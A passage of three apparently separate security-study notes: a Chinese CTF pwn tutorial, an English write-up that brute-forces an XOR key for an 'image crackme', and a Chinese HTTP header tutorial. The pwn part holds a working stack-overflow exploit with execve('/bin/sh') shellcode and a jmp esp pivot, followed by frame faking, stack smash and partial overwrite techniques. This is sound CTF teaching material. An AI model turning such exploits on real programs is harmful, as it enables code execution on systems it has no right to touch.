sh = process('./b0verfl0w') shellcode_x86 = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73" shellcode_x86 += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0" shellcode_x86 += "\x0b\xcd\x80" sub_esp_jmp = asm('sub esp, 0x28;jmp esp') jmp_esp = 0x08048504 payload = shellcode_x86 + ( 0x20 - len(shellcode_x86)) * 'b' + 'bbbb' + p32(jmp_esp) + sub_esp_jmp sh.sendline(payload) sh.interactive() ``` ### frame faking原理 概括地讲,我们在之前讲的栈溢出不外乎两种方式 - 控制程序 EIP - 控制程序 EBP 其最终都是控制程序的执行流。在 frame faking 中,我们所利用的技巧便是同时控制 EBP 与 EIP,这样我们在控制程序执行流的同时,也改变程序栈帧的位置。一般来说其 payload 如下 ``` buffer padding|fake ebp|leave ret addr| ``` 即我们利用栈溢出将栈上构造为如上格式。这里我们主要讲下后面两个部分 - 函数的返回地址被我们覆盖为执行 leave ret 的地址,这就表明了函数在正常执行完自己的 leave ret 后,还会再次执行一次 leave ret。 - 其中 fake ebp 为我们构造的栈帧的基地址,需要注意的是这里是一个地址。一般来说我们构造的假的栈帧如下 ``` fake ebp | v ebp2|target function addr|leave ret addr|arg1|arg2 ``` 这里我们的 fake ebp 指向 ebp2,即它为 ebp2 所在的地址。通常来说,这里都是我们能够控制的可读的内容。 **下面的汇编语法是 intel 语法。** 在我们介绍基本的控制过程之前,我们还是有必要说一下,函数的入口点与出口点的基本操作 入口点 ``` push ebp # 将ebp压栈 mov ebp, esp #将esp的值赋给ebp ``` 出口点 ``` leave ret #pop eip,弹出栈顶元素作为程序下一个执行地址 ``` 其中 leave 指令相当于 ``` mov esp, ebp # 将ebp的值赋给esp pop ebp # 弹出ebp ``` 下面我们来仔细说一下基本的控制过程。 1. 在有栈溢出的程序执行 leave 时,其分为两个步骤 - mov esp, ebp ,这会将 esp 也指向当前栈溢出漏洞的 ebp 基地址处。 - pop ebp, 这会将栈中存放的 fake ebp 的值赋给 ebp。即执行完指令之后,ebp便指向了ebp2,也就是保存了 ebp2 所在的地址。 2. 执行 ret 指令,会再次执行 leave ret 指令。 3. 执行 leave 指令,其分为两个步骤 - mov esp, ebp ,这会将 esp 指向 ebp2。 - pop ebp,此时,会将 ebp 的内容设置为 ebp2 的值,同时 esp 会指向 target function。 4. 执行 ret 指令,这时候程序就会执行 target function,当其进行程序的时候会执行 - push ebp,会将 ebp2 值压入栈中, - mov ebp, esp,将 ebp 指向当前基地址。 此时的栈结构如下 ``` ebp | v ebp2|leave ret addr|arg1|arg2 ``` 5. 当程序执行时,其会正常申请空间,同时我们在栈上也安排了该函数对应的参数,所以程序会正常执行。 6. 程序结束后,其又会执行两次 leave ret addr,所以如果我们在 ebp2 处布置好了对应的内容,那么我们就可以一直控制程序的执行流程。 可以看出在 fake frame 中,我们有一个需求就是,我们必须得有一块可以写的内存,并且我们还知道这块内存的地址,这一点与 stack pivoting 相似。 ### Stack smash原理 在程序加了canary 保护之后,如果我们读取的 buffer 覆盖了对应的值时,程序就会报错,而一般来说我们并不会关心报错信息。而 stack smash 技巧则就是利用打印这一信息的程序来得到我们想要的内容。这是因为在程序启动 canary 保护之后,如果发现 canary 被修改的话,程序就会执行 `__stack_chk_fail` 函数来打印 argv[0] 指针所指向的字符串,正常情况下,这个指针指向了程序名。其代码如下 ```C void __attribute__ ((noreturn)) __stack_chk_fail (void) { __fortify_fail ("stack smashing detected"); } void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg) { /* The loop is added only to keep gcc happy. */ while (1) __libc_message (2, "*** %s ***: %s terminated\n", msg, __libc_argv[0] ?: "<unknown>"); } ``` 所以说如果我们利用栈溢出覆盖 argv[0] 为我们想要输出的字符串的地址,那么在 `__fortify_fail` 函数中就会输出我们想要的信息。 > 批注: 这个方法在 glibc-2.31 之后不可用了, 具体看这个部分代码 [fortify_fail.c](https://elixir.bootlin.com/glibc/glibc-2.31/source/debug/fortify_fail.c) 。 ```c #include <stdio.h> void __attribute__ ((noreturn)) __fortify_fail (const char *msg) { /* The loop is added only to keep gcc happy. */ while (1) __libc_message (do_abort, "*** %s ***: terminated\n", msg); } libc_hidden_def (__fortify_fail) ``` > 总结一下原因就是现在不会打印argv[0] 指针所指向的字符串 ### 栈上的 partial overwrite介绍 partial overwrite 这种技巧在很多地方都适用, 这里先以栈上的 partial overwrite 为例来介绍这种思想。 我们知道, 在开启了随机化(ASLR,PIE)后, 无论高位的地址如何变化,低 12 位的页内偏移始终是固定的, 也就是说如果我们能更改低位的偏移, 就可以在一定程度上控制程序的执行流, 绕过 PIE 保护。
sec-knowleage
# Image crackme (re/crypto, 61 solved, 100p) In the challenge we get a [binary](image_crackme.exe) a [sample input](MeePwn.jpg) and [output](MeePwn.ascii.bak). The binary performs some kind of encryption of given payload, using privided key. It was a RE challenge, but code looked horrible, so we decided to try blackboxing this. Especially that task decription was ``` Find the key that was used to generate Meepwn.ascii.bak Sometimes you don't really need to read the code ``` Once we run the tool a couple of times we noticed that: 1. The payload is always the same len as inputs, so more likely a stream, not block cipher 2. The encryption using key `A` and `AA` is identical, so the provided key must somehow be expanded. This indicates some kind of repeating XOR. This can be firther verified by encrypting using `AAAAAA` and `AAAAAB`, in which case every 6th byte differs. 3. Since the output charset is very limited, there have to be collisions. We figured that the easiest way to solve this, will be simply brute-forcing the key byte-by-byte, and comparing it with the expected result. ## Length recovery First step was to recover the initial key length: ```python with codecs.open("MeePwn.ascii.bak", "r") as flag_file: reference_data = flag_file.read() def recover_key_len(reference_data): key = "MeePwn" while True: key += 'A' d = popen("image_crackme.exe", 'w') d.write(key) d.close() with codecs.open("MeePwn.ascii", "r") as new_file: data = new_file.read()[2 * len(key):2 * len(key) + 6] second = reference_data[2 * len(key):2 * len(key) + 6] if data == second: print(len(key)) real_len = len(key) break return key, real_len ``` What we do, is simply comparing the part of the file encrypted by first "key expansion", so see if it matches. It should be encrypted using `MeePwn` flag prefix as key if we got the length correctly. This way we recover the length = 33. ## Key recovery Now that we know the length, we can proceed to recover the actual flag. We encrypt the reference picture with key consisting of only `A` but the first character we set to every printable char. Then we check if the characters in the output file, which should have been encrypted using first key character, are correct. If so, we got the right char and we can proceed to set another one. It's important to check not only a single character, but characters from next "key expansions", due to conflicts. ```python with codecs.open("MeePwn.ascii.bak", "r") as flag_file: reference_data = flag_file.read() def verify(expansion, data, reference_data, real_len, char_index): return data[expansion * real_len:expansion * real_len + char_index + 1] == reference_data[expansion * real_len:expansion * real_len + char_index + 1] def recover_key(real_len, reference_data): key = list("A" * real_len) for i in range(real_len): for c in string.printable: key[i] = c d = popen("image_crackme.exe", 'w') d.write("".join(key)) d.close() with codecs.open("MeePwn.ascii", "r") as new_file: data = new_file.read() result = True for expansion in range(4): result &= verify(expansion, data, reference_data, real_len, i) if result: key[i] = c break print("current key = ", "".join(key)) return "".join(key) ``` And after a moment we get: `MeePwn{g0l4ng_Asc11Art_1S84wS0me}`
sec-knowleage
# HTTP 报文 --- ## 基础 HTTP 请求报文由3部分组成(请求行+请求头+请求体): 下面是一个实际的请求报文 : - **①** 是请求方法,GET 和 POST 是最常见的 HTTP 方法,除此以外还包括 DELETE、HEAD、OPTIONS、PUT、TRACE。不过,当前的大多数浏览器只支持 GET 和 POST,Spring 3.0 提供了一个 `HiddenHttpMethodFilter` ,允许你通过“_method”的表单参数指定这些特殊的 HTTP 方法(实际上还是通过 POST 提交表单)。服务端配置了 HiddenHttpMethodFilter 后,Spring 会根据 _method 参数指定的值模拟出相应的 HTTP 方法,这样,就可以使用这些 HTTP 方法对处理方法进行映射了。 - **②** 为请求对应的 URL 地址,它和报文头的 Host 属性组成完整的请求 URL, - **③** 是协议名称及版本号。 - **④** 是 HTTP 的报文头,报文头包含若干个属性,格式为“属性名:属性值”,服务端据此获取客户端的信息。 - **⑤** 是报文体,它将一个页面表单中的组件值通过 `param1=value1&param2=value2` 的键值对形式编码成一个格式化串,它承载多个请求参数的数据。不但报文体可以传递请求参数,请求 URL 也可以通过类似于“/chapter15/user.html? param1=value1&param2=value2”的方式传递请求参数。 对照上面的请求报文,我们把它进一步分解,你可以看到一幅更详细的结构图: --- HTTP 的响应报文也由三部分组成(响应行+响应头+响应体): 以下是一个实际的 HTTP 响应报文: - **①** 报文协议及版本; - **②** 状态码及状态描述; - **③** 响应报文头,也是由多个属性组成; - **④** 响应报文体,即我们真正要的“干货”。 以下是几个常见的状态码 : - **200 OK** 你最希望看到的,即处理成功! - **303 See Other** 我把你 redirect 到其它的页面,目标的 URL 通过响应报文头的 Location 告诉你。 - **304 Not Modified** 告诉客户端,你请求的这个资源至你上次取得后,并没有更改,你直接用你本地的缓存吧,我很忙哦,你能不能少来烦我啊! - **404 Not Found** 你最不希望看到的,即找不到页面。如你在 google 上找到一个页面,点击这个链接返回 404,表示这个页面已经被网站删除了,google 那边的记录只是美好的回忆。 - **500 Internal Server Error** 看到这个错误,你就应该查查服务端的日志了,肯定抛出了一堆异常,别睡了,起来改 BUG 去吧! 更多关于状态码参考 [HTTP状态码](./HTTP状态码.md) --- ## 请求方法 --- 根据 HTTP 标准,HTTP 请求可以使用多种请求方法。 HTTP1.0 定义了三种请求方法: GET, POST 和 HEAD 方法。 HTTP1.1 新增了六种请求方法:OPTIONS、PUT、PATCH、DELETE、TRACE 和 CONNECT 方法。 - `GET` : 请求指定的页面信息,并返回实体主体。 - `HEAD` : 类似于 GET 请求,只不过返回的响应中没有具体的内容,用于获取报头 - `POST` : 向指定资源提交数据进行处理请求(例如提交表单或者上传文件)。数据被包含在请求体中。POST 请求可能会导致新的资源的建立和/或已有资源的修改。 - `PUT` : 从客户端向服务器传送的数据取代指定的文档的内容。 - `DELETE` : 请求服务器删除指定的页面。 - `CONNECT` : HTTP/1.1 协议中预留给能够将连接改为管道方式的代理服务器。 - `OPTIONS` : 允许客户端查看服务器的性能。 - `TRACE` : 回显服务器收到的请求,主要用于测试或诊断。 - `PATCH` : 是对 PUT 方法的补充,用来对已知资源进行局部更新 。 --- ## HTTP headers **Source & Reference** - [HTTP头部详解](https://blog.csdn.net/YLBF_DEV/article/details/50266447) - [HTTP 响应头信息](https://www.runoob.com/http/http-header-fields.html) - [HTTP 请求头中的 X-Forwarded-For](https://imququ.com/post/x-forwarded-for-header-in-http.html) - [List of HTTP header fields](https://en.wikipedia.org/wiki/List_of_HTTP_header_fields) --- 通常 HTTP 消息包括客户机向服务器的请求消息和服务器向客户机的响应消息。这两种类型的消息由一个起始行,一个或者多个头域,一个只是头域结束的空行和可选的消息体组成。HTTP 的头域包括通用头,请求头,响应头和实体头四个部分。每个头域由一个域名,冒号(:)和域值三部分组成。域名是大小写无关的,域值前可以添加任何数量的空格符,头域可以被扩展为多行,在每行开始处,使用至少一个空格或制表符。 ### 通用头域 通用头域包含请求和响应消息都支持的头域,通用头域包含 `Cache-Control`、 `Connection`、`Date`、`Pragma`、`Transfer-Encoding`、`Upgrade`、`Via`。对通用头域的扩展要求通讯双方都支持此扩展,如果存在不支持的通用头域,一般将会作为实体头域处理。下面简单介绍几个在 UPnP 消息中使用的通用头域。 **Cache-Control 头域** Cache -Control 指定请求和响应遵循的缓存机制。在请求消息或响应消息中设置 Cache-Control 并不会修改另一个消息处理过程中的缓存处理过程。 请求时的缓存指令包括 `no-cache`、`no-store`、`max-age`、 `max-stale`、`min-fresh`、`only-if-cached` 响应消息中的指令包括 - `Public` 指示响应可被任何缓存区缓存; - `Private` 指示对于单个用户的整个或部分响应消息,不能被共享缓存处理。这允许服务器仅仅描述当用户的部分响应消息,此响应消息对于其他用户的请求无效; - `no-cache` 指示请求或响应消息不能缓存; - `no-store` 用于防止重要的信息被无意的发布。在请求消息中发送将使得请求和响应消息都不使用缓存; - `max-age` 指示客户机可以接收生存期不大于指定时间(以秒为单位)的响应; - `min-fresh` 指示客户机可以接收响应时间小于当前时间加上指定时间的响应; - `max-stale` 指示客户机可以接收超出超时期间的响应消息。如果指定 max-stale 消息的值,那么客户机可以接收超出超时期指定值之内的响应消息。 **Date 头域** date 头域表示消息发送的时间,时间的描述格式由 rfc822 定义。例如,`Date:Mon,31Dec200104:25:57GMT`。Date 描述的时间表示世界标准时,换算成本地时间,需要知道用户所在的时区。 **Pragma 头域** Pragma 头域用来包含实现特定的指令,最常用的是 `Pragma:no-cache`。在 HTTP/1.1 协议中,它的含义和 `Cache-Control:no-cache` 相同。 **Connection 头域** Connection 表示连接状态 - 请求 ``` close(告诉 WEB 服务器或者代理服务器,在完成本次请求的响应后,断开连接,不要等待本次连接的后续请求了)。 keepalive(告诉 WEB 服务器或者代理服务器,在完成本次请求的响应后,保持连接,等待本次连接的后续请求)。 ``` - 响应 ``` close(连接已经关闭)。 Keep-Alive:如果浏览器请求保持连接,则该头部表明希望 WEB 服务器保持连接多长时间(秒)。例如:Keep-Alive:300 ``` --- ### 请求消息(请求头) 请求消息的第一行为下面的格式:Method Request-URI HTTP-Version - Method 表示对于 Request-URI 完成的方法,这个字段是大小写敏感的,包括 `OPTIONS`、`GET`、`HEAD`、`POST`、`PUT`、`DELETE`、`TRACE`。方法 `GET` 和 `HEAD` 应该被所有的通用 WEB 服务器支持,其他所有方法的实现是可选的,GET 方法取回由 Request-URI 标识的信息, - HEAD 方法也是取回由 Request-URI 标识的信息,只是可以在响应时,不返回消息体; - POST 方法可以请求服务器接收包含在请求中的实体信息,可以用于提交表单,向新闻组、BBS、邮件群组和数据库发送消息。 - Request-URI 表示请求的URL。Request-URI 遵循 URI 格式,在此字段为星号(*)时,说明请求并不用于某个特定的资源地址,而是用于服务器本身。 - HTTP- Version 表示支持的 HTTP 版本,例如为 `HTTP/1.1`。 请求头域允许客户端向服务器传递关于请求或者关于客户机的附加信息。请求头域可能包含下列字段 `Accept`、`Accept-Charset`、`Accept-Encoding`、`Accept-Language`、`Authorization`、`From`、`Host`、`If-Modified-Since`、`If-Match`、`If-None-Match`、`If-Range`、`If-Unmodified-Since`、`Max-Forwards`、 `Proxy-Authorization`、`Range`、`Referer`、`User-Agent`。对请求头域的扩展要求通讯双方都支持,如果存在不支持的请求头域,一般将会作为实体头域处理。 典型的请求消息 ``` GET http://download.microtool.de:80/somedata.exe Host: download.microtool.de Accept:*/* Pragma: no-cache Cache-Control: no-cache Referer: http://download.microtool.de/ User-Agent:Mozilla/4.04[en](Win95;I;Nav) Range:bytes=554554- ``` 上例第一行表示 HTTP 客户端(可能是浏览器、下载程序)通过 GET 方法获得指定 URL 下的文件。 - Host头域指定请求资源的 Intenet 主机和端口号,必须表示请求 url 的原始服务器或网关的位置。HTTP/1.1 请求必须包含主机头域,否则系统会以 400 状态码返回; - Accept:告诉 WEB 服务器自己接受什么介质类型,`*/*` 表示任何类型,`type/*` 表示该类型下的所有子类型,type/sub-type。 - Accept-Charset: 浏览器申明自己接收的字符集。 - Authorization:当客户端接收到来自WEB服务器的 WWW-Authenticate 响应时,用该头部来回应自己的身份验证信息给 WEB 服务器。 - Range ``` 表示头500个字节:bytes=0-499 表示第二个500字节:bytes=500-999 表示最后500个字节:bytes=-500 表示500字节以后的范围:bytes=500- 第一个和最后一个字节:bytes=0-0,-1 同时指定几个范围:bytes=500-600,601-999 ``` 但是服务器可以忽略此请求头,如果无条件 GET 包含 Range 请求头,响应会以状态码 206(PartialContent)返回而不是以 200 (OK) --- ### 响应消息(响应头) 响应信息如内容类型,类型的长度,服务器信息,设置 Cookie 响应消息的第一行为下面的格式:HTTP-Version Status-Code Reason-Phrase - HTTP -Version 表示支持的 HTTP 版本,例如为 HTTP/1.1。 - Status-Code 是一个三个数字的结果代码。 ``` Status-Code 主要用于机器自动识别,Reason-Phrase 主要用于帮助用户理解。Status-Code 的第一个数字定义响应的类别,后两个数字没有分类的作用。第一个数字可能取5个不同的值 ``` - 1xx : 信息响应类,表示接收到请求并且继续处理 - 2xx : 处理成功响应类,表示动作被成功接收、理解和接受 - 3xx : 重定向响应类,为了完成指定的动作,必须接受进一步处理 - 4xx : 客户端错误,客户请求包含语法错误或者是不能正确执行 - 5xx : 服务端错误,服务器不能正确执行一个正确的请求 - Reason-Phrase 给 Status-Code 提供一个简单的文本描述。 响应头域允许服务器传递不能放在状态行的附加信息,这些域主要描述服务器的信息和 Request-URI 进一步的信息。响应头域包含 `Age`、`Location`、`Proxy-Authenticate`、`Public`、`Retry-After`、`Server`、`Vary`、`Warning`、`WWW-Authenticate`。对响应头域的扩展要求通讯双方都支持,如果存在不支持的响应头 域,一般将会作为实体头域处理。 典型的响应消息: ``` HTTP/1.0 200 OK Date:Mon,31Dec200104:25:57MGT Server:Apache/1.3.14(Unix) Content-type:text/html Last-modified:Tue,17Apr200106:46:28GMT Etag:"a030f020ac7c01:1e9f" Content-length:39725426 Content-range:bytes554554-40279979/40279980 ``` Location 响应头用于重定向接收者到一个新 URI 地址。Server 响应头包含处理请求的原始服务器的软件信息。此域能包含多个产品标识和注释,产品标识一般按照重要性排序 --- ### 实体消息(实体头和实体) 请求消息和响应消息都可以包含实体信息,实体信息一般由实体头域和实体组成。 实体头域包含关于实体的原信息,实体头包括 `Allow`、`Content-Base`、`Content-Encoding`、`Content-Language`、`Content-Length`、`Content-Location`、`Content-MD5`、`Content-Range`、`Content-Type`、`Etag`、`Expires`、`Last-Modified`、`extension-header`。`extension-header` 允许客户端定义新的实体头,但是这些域可能无法为接受方识别。 - Content-Type 实体头用于向接收方指示实体的介质类型,指定 HEAD 方法送到接收方的实体介质类型,或 GET 方法发送的请求介质类型,表示后面的文档属于什么 MIME 类型。 - Content-Length 表示实际传送的字节数。 - Allow 实体头至服务器支持哪些请求方法(如 GET、POST 等)。 - Content-Range 表示传送的范围,用于指定整个实体中的一部分的插入位置,他也指示了整个实体的长度。在服务器向客户返回一个部分响应,它必须描述响应覆盖的范围和整个实体长度。 ``` 一般格式:Content-Range:bytes-unitSPfirst-byte-pos-last-byte-pos/entity-legth 例如,传送头500个字节次字段的形式:Content-Range:bytes0-499/1234 如果一个 http 消息包含此节(例如,对范围请求的响应或对一系列范围的重叠请求)。 ``` - Content-Encoding 指文档的编码(Encode)方法。实体可以是一个经过编码的字节流,它的编码方式由 Content-Encoding 或 Content-Type 定义,它的长度由 Content-Length 或 Content-Range 定义。 --- **X-Forwarded-For** 通过名字就知道,X-Forwarded-For 是一个 HTTP 扩展头部。HTTP/1.1(RFC 2616)协议并没有对它的定义,它最开始是由 Squid 这个缓存代理软件引入,用来表示 HTTP 请求端真实 IP。如今它已经成为事实上的标准,被各大 HTTP 代理、负载均衡等转发服务广泛使用,并被写入 RFC 7239(Forwarded HTTP Extension)标准之中。 X-Forwarded-For 请求头格式非常简单,就这样: ``` X-Forwarded-For: client, proxy1, proxy2 ``` 可以看到,XFF 的内容由「英文逗号 + 空格」隔开的多个部分组成,最开始的是离服务端最远的设备 IP,然后是每一级代理设备的 IP。 如果一个 HTTP 请求到达服务器之前,经过了三个代理 Proxy1、Proxy2、Proxy3,IP 分别为 IP1、IP2、IP3,用户真实 IP 为 IP0,那么按照 XFF 标准,服务端最终会收到以下信息: ``` X-Forwarded-For: IP0, IP1, IP2 ``` Proxy3 直连服务器,它会给 XFF 追加 IP2,表示它是在帮 Proxy2 转发请求。列表中并没有 IP3,IP3 可以在服务端通过 Remote Address 字段获得。我们知道 HTTP 连接基于 TCP 连接,HTTP 协议中没有 IP 的概念,Remote Address 来自 TCP 连接,表示与服务端建立 TCP 连接的设备 IP,在这个例子里就是 IP3。 Remote Address 无法伪造,因为建立 TCP 连接需要三次握手,如果伪造了源 IP,无法建立 TCP 连接,更不会有后面的 HTTP 请求。不同语言获取 Remote Address 的方式不一样,例如 php 是 $_SERVER["REMOTE_ADDR"],Node.js 是 req.connection.remoteAddress,但原理都一样。 --- ### 实例 **HTTP 请求消息头部实例** ``` Host:rss.sina.com.cn User-Agent:Mozilla/5、0 (Windows; U; Windows NT 5、1; zh-CN; rv:1、8、1、14) Gecko/20080404 Firefox/2、0、0、14 Accept:text/xml,application/xml,application/xhtml+xml,text/html;q=0、9,text/plain;q=0、8,image/png,*/*;q=0、5 Accept-Language:zh-cn,zh;q=0、5 Accept-Encoding:gzip,deflate Accept-Charset:gb2312,utf-8;q=0、7,*;q=0、7 Keep-Alive:300 Connection:keep-alive Cookie:userId=C5bYpXrimdmsiQmsBPnE1Vn8ZQmdWSm3WRlEB3vRwTnRtW <- Cookie If-Modified-Since:Sun, 01 Jun 2008 12:05:30 GMT Cache-Control:max-age=0 ``` **HTTP 响应消息头部实例** ``` Status:OK - 200 <- 响应状态码,表示 web 服务器处理的结果。 Date:Sun, 01 Jun 2008 12:35:47 GMT Server:Apache/2、0、61 (Unix) Last-Modified:Sun, 01 Jun 2008 12:35:30 GMT Accept-Ranges:bytes Content-Length:18616 Cache-Control:max-age=120 Expires:Sun, 01 Jun 2008 12:37:47 GMT Content-Type:application/xml Age:2 X-Cache:HIT from 236-41、D07071951、sina、com、cn <- 反向代理服务器使用的 HTTP 头部 Via:1.0 236-41.D07071951.sina.com.cn:80 (squid/2.6.STABLE13) Connection:close ``` --- ### 头部详解 **Accept** 告诉 WEB 服务器自己接受什么介质类型,`*/*` 表示任何类型,`type/*` 表示该类型下的所有子类型,`type/sub-type`。 **Accept-Charset** 浏览器申明自己接收的字符集 **Accept-Encoding** 浏览器申明自己接收的编码方法,通常指定压缩方法,是否支持压缩,支持什么压缩方法(gzip,deflate) **Accept-Language** 浏览器申明自己接收的语言,语言跟字符集的区别:中文是语言,中文有多种字符集,比如 big5,gb2312,gbk 等等。 **Age** 当代理服务器用自己缓存的实体去响应请求时,用该头部表明该实体从产生到现在经过多长时间了。 **Authorization** 当客户端接收到来自 WEB 服务器的 WWW-Authenticate 响应时,用该头部来回应自己的身份验证信息给 WEB 服务器。 **Cache-Control** 请求:no-cache(不要缓存的实体,要求现在从WEB服务器去取) max-age:(只接受 Age 值小于 max-age 值,并且没有过期的对象) max-stale:(可以接受过去的对象,但是过期时间必须小于 max-stale 值) **min-fresh** (接受其新鲜生命期大于其当前 Age 跟 min-fresh 值之和的缓存对象)响应:public(可以用 Cached 内容回应任何用户) private(只能用缓存内容回应先前请求该内容的那个用户) no-cache(可以缓存,但是只有在跟 WEB 服务器验证了其有效后,才能返回给客户端) max-age:(本响应包含的对象的过期时间) ALL: no-store(不允许缓存) **Connection** 请求:close(告诉 WEB 服务器或者代理服务器,在完成本次请求的响应后,断开连接,不要等待本次连接的后续请求了)。keepalive(告诉 WEB 服务器或者代理服务器,在完成本次请求的响应后,保持连接,等待本次连接的后续请求)。 **Content-Disposition** 在常规的 HTTP 应答中,Content-Disposition 响应头指示回复的内容该以何种形式展示,是以内联的形式(即网页或者页面的一部分),还是以附件的形式下载并保存到本地。在 multipart/form-data 类型的应答消息体中,Content-Disposition 消息头可以被用在 multipart 消息体的子部分中,用来给出其对应字段的相关信息。各个子部分由在 Content-Type 中定义的分隔符分隔。用在消息体自身则无实际意义。 Content-Disposition 消息头最初是在 MIME 标准中定义的,HTTP 表单及 POST 请求只用到了其所有参数的一个子集。只有 form-data 以及可选的 name 和 filename 三个参数可以应用在 HTTP 场景中。 - 指令 - name 后面是一个表单字段名的字符串,每一个字段名会对应一个子部分。在同一个字段名对应多个文件的情况下(例如,带有 multiple 属性的 `<input type=file>` 元素),则多个子部分共用同一个字段名。如果 name 参数的值为 `_charset_` ,意味着这个子部分表示的不是一个 HTML 字段,而是在未明确指定字符集信息的情况下各部分使用的默认字符集。 - filename 后面是要传送的文件的初始名称的字符串。这个参数总是可选的,而且不能盲目使用:路径信息必须舍掉,同时要进行一定的转换以符合服务器文件系统规则。这个参数主要用来提供展示性信息。当与 `Content-Disposition: attachment` 一同使用的时候,它被用作"保存为"对话框中呈现给用户的默认文件名。 - filename* `filename` 和 `filename*` 两个参数的唯一区别在于,`filename*` 采用了 RFC 5987 中规定的编码方式。当 `filename` 和 `filename*` 同时出现的时候,应该优先采用 `filename*`,假如二者都支持的话。 - 作为消息主体中的消息头 在 HTTP 场景中,第一个参数或者是 inline(默认值,表示回复中的消息体会以页面的一部分或者整个页面的形式展示),或者是 attachment(意味着消息体应该被下载到本地;大多数浏览器会呈现一个“保存为”的对话框,将 filename 的值预填为下载后的文件名,假如它存在的话)。 ``` Content-Disposition: inline Content-Disposition: attachment Content-Disposition: attachment; filename="filename.jpg" ``` - 作为 multipart body 中的消息头 在 HTTP 场景中。第一个参数总是固定不变的 form-data;附加的参数不区分大小写,并且拥有参数值,参数名与参数值用等号 `=` 连接,参数值用双引号括起来。参数之间用分号 `;` 分隔。 ``` Content-Disposition: form-data Content-Disposition: form-data; name="fieldName" Content-Disposition: form-data; name="fieldName"; filename="filename.jpg" ``` **Content-Encoding** WEB 服务器表明自己使用了什么压缩方法(gzip,deflate)压缩响应中的对象。例如:`Content-Encoding:gzip` **Content-Language** WEB 服务器告诉浏览器自己响应的对象的语言。 **Content-Length** WEB 服务器告诉浏览器自己响应的对象的长度。例如:`Content-Length: 26012` **Content-Range** WEB 服务器表明该响应包含的部分对象为整个对象的哪个部分。例如:`Content-Range: bytes 21010-47021/47022` **Content-Type** WEB 服务器告诉浏览器自己响应的对象的类型。例如:`Content-Type:application/xml` **ETag** 就是一个对象(比如 URL)的标志值,就一个对象而言,比如一个 html 文件,如果被修改了,其 Etag 也会别修改,所以 ETag 的作用跟 Last-Modified 的作用差不多,主要供 WEB 服务器判断一个对象是否改变了。比如前一次请求某个 html 文件时,获得了其 ETag,当这次又请求这个文件时,浏览器就会把先前获得的 ETag 值发送给WEB 服务器,然后 WEB 服务器会把这个 ETag 跟该文件的当前 ETag 进行对比,然后就知道这个文件有没有改变了。 **Expired** WEB 服务器表明该实体将在什么时候过期,对于过期了的对象,只有在跟 WEB 服务器验证了其有效性后,才能用来响应客户请求。是 HTTP/1.0 的头部。例如:`Expires:Sat, 23 May 2009 10:02:12 GMT` **Host** 客户端指定自己想访问的WEB服务器的域名/IP 地址和端口号。例如:`Host:rss.sina.com.cn` **If-Match** 如果对象的 ETag 没有改变,其实也就意味著对象没有改变,才执行请求的动作。 **If-None-Match** 如果对象的 ETag 改变了,其实也就意味著对象也改变了,才执行请求的动作。 **If-Modified-Since** 如果请求的对象在该头部指定的时间之后修改了,才执行请求的动作(比如返回对象),否则返回代码304,告诉浏览器该对象没有修改。例如:`If-Modified-Since:Thu,10 Apr 2008 09:14:42 GMT` **If-Unmodified-Since** 如果请求的对象在该头部指定的时间之后没修改过,才执行请求的动作(比如返回对象) **If-Range** 浏览器告诉 WEB 服务器,如果我请求的对象没有改变,就把我缺少的部分给我,如果对象改变了,就把整个对象给我。浏览器通过发送请求对象的 ETag 或者自己所知道的最后修改时间给 WEB 服务器,让其判断对象是否改变了。总是跟 Range 头部一起使用。 **Last-Modified** WEB 服务器认为对象的最后修改时间,比如文件的最后修改时间,动态页面的最后产生时间等等。例如:`Last-Modified:Tue, 06 May 2008 02:42:43 GMT` **Location** WEB 服务器告诉浏览器,试图访问的对象已经被移到别的位置了,到该头部指定的位置去取。例如:`Location http://i0.sinaimg.cn/dy/deco/2008/0528/sina0.gif` Location 通常不是直接设置的,而是通过 HttpServletResponse 的 sendRedirect 方法,该方法同时设置状态代码为 302。 **Pramga** 主要使用 Pramga: no-cache,相当于 Cache-Control: no-cache。例如:`Pragma:no-cache` **Proxy-Authenticate** 代理服务器响应浏览器,要求其提供代理身份验证信息。 **Proxy-Authorization** 浏览器响应代理服务器的身份验证请求,提供自己的身份信息。 **Range** 浏览器(比如 Flashget 多线程下载时)告诉 WEB 服务器自己想取对象的哪部分。例如:`Range:bytes=1173546-` **Referer** 浏览器向 WEB 服务器表明自己是从哪个网页/URL 获得/点击当前请求中的网址/URL。例如:`Referer:http://www.sina.com/` **Server** WEB 服务器表明自己是什么软件及版本等信息。例如:`Server:Apache/2.0.61 (Unix)` **User-Agent** 浏览器表明自己的身份(是哪种浏览器)。 例如:`User-Agent:Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.1.14) Gecko/20080404 Firefox/2、0、0、14` **Transfer-Encoding** WEB 服务器表明自己对本响应消息体(不是消息体里面的对象)作了怎样的编码,比如是否分块(chunked)。例如:`Transfer-Encoding:chunked` **Vary** WEB 服务器用该头部的内容告诉 Cache 服务器,在什么条件下才能用本响应所返回的对象响应后续的请求。假如源WEB服务器在接到第一个请求消息时,其响应消息的头部为: `Content-Encoding: gzip; Vary: Content-Encoding` 那么 Cache 服务器会分析后续请求消息的头部,检查其 Accept-Encoding,是否跟先前响应的 Vary 头部值一致,即是否使用相同的内容编码方法,这样就可以防止 Cache 服务器用自己 Cache 里面压缩后的实体响应给不具备解压能力的浏览器。例如:`Vary:Accept-Encoding` **Via** 列出从客户端到 OCS 或者相反方向的响应经过了哪些代理服务器,他们用什么协议(和版本)发送的请求。当客户端请求到达第一个代理服务器时,该服务器会在自己发出的请求里面添加 Via 头部,并填上自己的相关信息,当下一个代理服务器收到第一个代理服务器的请求时,会在自己发出的请求里面复制前一个代理服务器的请求的 Via 头部,并把自己的相关信息加到后面,以此类推,当 OCS 收到最后一个代理服务器的请求时,检查 Via 头部,就知道该请求所经过的路由。例如:`Via:1.0 236.D0707195.sina.com.cn:80 (squid/2.6.STABLE13)` **Refresh** 表示浏览器应该在多少时间之后刷新文档,以秒计。除了刷新当前文档之外,你还可以通过 `setHeader("Refresh", "5; URL=http://host/path")` 让浏览器读取指定的页面。注意这种功能通常是通过设置 HTML 页面 HEAD 区的 `<META HTTP-EQUIV="Refresh" CONTENT="5;URL=http://host/path">` 实现,这是因为,自动刷新或重定向对于那些不能使用 CGI或 Servlet 的 HTML 编写者十分重要。但是,对于 Servlet 来说,直接设置 Refresh 头更加方便。注意 Refresh 的意义是"N 